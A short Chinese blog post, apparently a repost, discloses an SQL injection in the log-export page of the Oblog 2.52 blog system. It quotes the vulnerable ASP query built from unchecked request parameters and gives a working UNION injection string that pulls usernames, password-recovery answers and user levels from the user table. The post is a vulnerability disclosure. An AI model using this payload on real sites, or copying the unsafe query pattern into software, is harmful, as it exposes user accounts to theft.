上一篇:一个用c#写的扫描asp源码漏洞的应用程序 >>
Oblog 2.52导出日志最新漏洞
/**
作者:慈勤强
Http://blog.csdn.net/cqq
2005-02-22
*/
昨天正好从oblog官方网站下载了一套最新的blog系统,版本是2.52的吧。
本来是在qq上看到一个朋友讨论help.asp文件的入侵思路的,
那篇文章在这里可以找到,
http://blog.csdn.net/cqq/archive/2005/02/22/297316.aspx
之后,顺手注册了一个用户,大体浏览了一下,
在后台有个导出日志的功能比较好,
这样就可以防止由于blog站点关闭,而自己辛辛苦苦写的文章没法保存的问题了。
csdn的blog就没有导出日志的功能,为此我还特意写了个小程序,
请看这里:
http://blog.csdn.net/cqq/archive/2005/02/04/280545.aspx
不过,这个导出日志的asp文件存在sql injection漏洞,
本来是导出自己的文章的,
这样一来,数据库里的任何数据都可以随便导出了,
直接危害到整个blog系统的安全。
主要的SQL代码如下:
sdate=request("selecty")&"-"&request("selectm")&"-"&request("selectd")
edate=request("selectey")&"-"&request("selectem")&"-"&request("selected")
sql="select topic,addtime,logtext from blog where username=‘’"&username&"‘’ and addtime<=#"&edate&"# and
addtime>=#"&sdate&"#"
大家看到,所有的客户端数据都没有经过检查就直接使用了,
自然会有问题,
因为不管什么情况,客户端的数据都是不可轻易相信的。
那么,我们构造这样的输入
"selectd=22# and 1=2 union select username,answer,userlevel from [user] union select topic,addtime,logtext from blog
where addtime<=#1900-1-1"
整个的sql语句就变为了:
select topic,addtime,logtext from blog where username=‘’慈勤强‘’ and addtime<=#2007-2-22# and addtime>=#2000-2-22# and
1=2
union select username,answer,userlevel from [user]
union select topic,addtime,logtext from blog where addtime<=#1900-1-1#
这样,就可以输出所有的用户名、用户密码提示问题答案和用户等级了
当然也可以得到数据库中的任何内容了,只要适当的变换sql语句。
下一篇:让Apache支持ASP.NET >>
相关文章:
- · 在ASP中执行Ping命令,并且返回结果
- · textbox的ontextchange属性
- · 一个18位身份证校验计算函数
- · 程序集的版本控制[下]
- · 编写高性能 Web 应用程序的10 个技巧
- · 如何防止同一帐户重复登录系统
- · Asp.Net常用函数
- · 怎么给网页中的Flash上加超连接
- · 一小偷类!!有兴趣的可以看看!!
- · 我写的分页代码
- · 如何把Popup特性从宝玉的论坛代码中拆分出来呢?
- · 蛙蛙推荐:asp中模拟.net中的cache
- · web文件管理器的后续开发。。。
- · 控制输出字符串的长度,可以区别中英文(ASP)
- · 程序集的版本控制[上]
- · 蛙蛙推荐:asp实现树型结构
- · 讨论创建基于WSE的报表打印服务及其实现
- · ASP 编程中 20 个非常有用的例子
- · Portal Starter 源码深入剖析(一)
- · 一个ASP写的侧边菜单栏
- · 学会在ASP中使用存储过程
- · 如何防止ASP木马在服务器上运行
- · ASP.NET中的Code Behind技术
- · ASP.NET学习笔记之ADO.NET(一)
- · 一个ASP写的侧边菜单栏
- · 编写通用的asp防注入程序
- · ASP 类 Class入门
- · ASP控制虚拟主机函数ADSI
- · [ASP.net]Loading制作
- · asp.net常用函数
- · 模仿PHP写的ASP 分页
- · 一些初学都常用的ASP代码
- · vbs实现的下拉框对应键入值
- · 一个纯脚本写的日期控件
- · load的时候让dropdownlist显示特定的值
- · 在asp/asp.net中调用java写的类
- · Dropdownlist可输入,可选择的方法
- · asp如何实现图片的动态翻动的效果
